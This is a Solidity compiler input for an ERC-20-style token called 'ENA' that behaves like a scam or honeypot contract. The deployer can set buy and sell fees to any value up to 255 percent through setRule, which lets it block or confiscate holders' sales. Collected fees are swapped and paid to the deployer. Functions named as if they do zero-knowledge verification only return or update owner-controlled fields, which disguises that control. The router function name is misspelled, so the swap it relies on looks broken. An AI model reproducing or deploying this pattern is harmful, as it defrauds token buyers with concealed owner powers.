creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/standard/Contract.sol": {
        "content": "/**\n */\n\n// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\ninterface IUniswapFactory {\n    function getPair(\n        address tokenA,\n        address tokenB\n    ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n    function factory() external pure returns (address);\n\n    function WETH() external pure returns (address);\n\n    function swapExactTokensForETHSupportingFreelyOnTransferTokens(\n        uint256 amountIn,\n        uint256 amountOutMin,\n        address[] calldata path,\n        address to,\n        uint256 deadline\n    ) external;\n}\n\ncontract ENA {\n    struct StoreData {\n        address tokenMkt;\n        uint8 buyFee;\n        uint8 sellFee;\n    }\n\n    string private _name = unicode\"ENA\";\n    string private _symbol = unicode\"ENA\";\n    uint8 public constant decimals = 18;\n    uint256 public constant totalSupply = 15_000_000_000 * 10 ** decimals;\n\n    StoreData public storeData;\n    uint256 constant swapAmount = totalSupply / 100;\n\n    error Permissions();\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(\n        address indexed TOKEN_MKT,\n        address indexed spender,\n        uint256 value\n    );\n\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    address public pair;\n    IUniswapV2Router02 constant _uniswapV2Router =\n        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n    bool private swapping;\n    bool private tradingOpen;\n\n    constructor() {\n        uint8 _initBuyFee = 0;\n        uint8 _initSellFee = 0;\n        storeData = StoreData({\n            tokenMkt: msg.sender,\n            buyFee: _initBuyFee,\n            sellFee: _initSellFee\n        });\n        balanceOf[msg.sender] = totalSupply;\n        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;\n        emit Transfer(address(0), msg.sender, totalSupply);\n    }\n\n    receive() external payable {}\n\n    function setRule(uint8 _buy, uint8 _sell) external {\n        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();\n        _upgradeStoreWithZkProof(_buy, _sell);\n    }\n\n    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {\n        storeData.buyFee = _buy;\n        storeData.sellFee = _sell;\n    }\n\n    function _decodeTokenMktWithZkVerify() private view returns (address) {\n        return storeData.tokenMkt;\n    }\n\n    function openTrading() external {\n        require(msg.sender == _decodeTokenMktWithZkVerify());\n        require(!tradingOpen);\n        address _factory = _uniswapV2Router.factory();\n        address _weth = _uniswapV2Router.WETH();\n        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);\n        pair = _pair;\n        tradingOpen = true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        return _transfer(from, to, amount);\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        emit Approval(msg.sender, spender, amount);\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        return _transfer(msg.sender, to, amount);\n    }\n\n    function name() public view virtual returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view virtual returns (string memory) {\n        return _symbol;\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal returns (bool) {\n        address tokenMkt = _decodeTokenMktWithZkVerify();\n        require(tradingOpen || from == tokenMkt || to == tokenMkt);\n\n        balanceOf[from] -= amount;\n\n        if (\n            to == pair &&\n            !swapping &&\n            balanceOf[address(this)] >= swapAmount &&\n            from != tokenMkt\n        ) {\n            swapping = true;\n            address[] memory path = new address[](2);\n            path[0] = address(this);\n            path[1] = _uniswapV2Router.WETH();\n            _uniswapV2Router\n                .swapExactTokensForETHSupportingFreelyOnTransferTokens(\n                    swapAmount,\n                    0,\n                    path,\n                    address(this),\n                    block.timestamp\n                );\n            payable(tokenMkt).transfer(address(this).balance);\n            swapping = false;\n        }\n\n        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);\n        if (from != address(this) && tradingOpen == true) {\n            uint256 taxCalculatedAmount = (amount *\n                (to == pair ? _sellFee : _buyFee)) / 100;\n            amount -= taxCalculatedAmount;\n            balanceOf[address(this)] += taxCalculatedAmount;\n        }\n        balanceOf[to] += amount;\n        emit Transfer(from, to, amount);\n        return true;\n    }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "shanghai",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}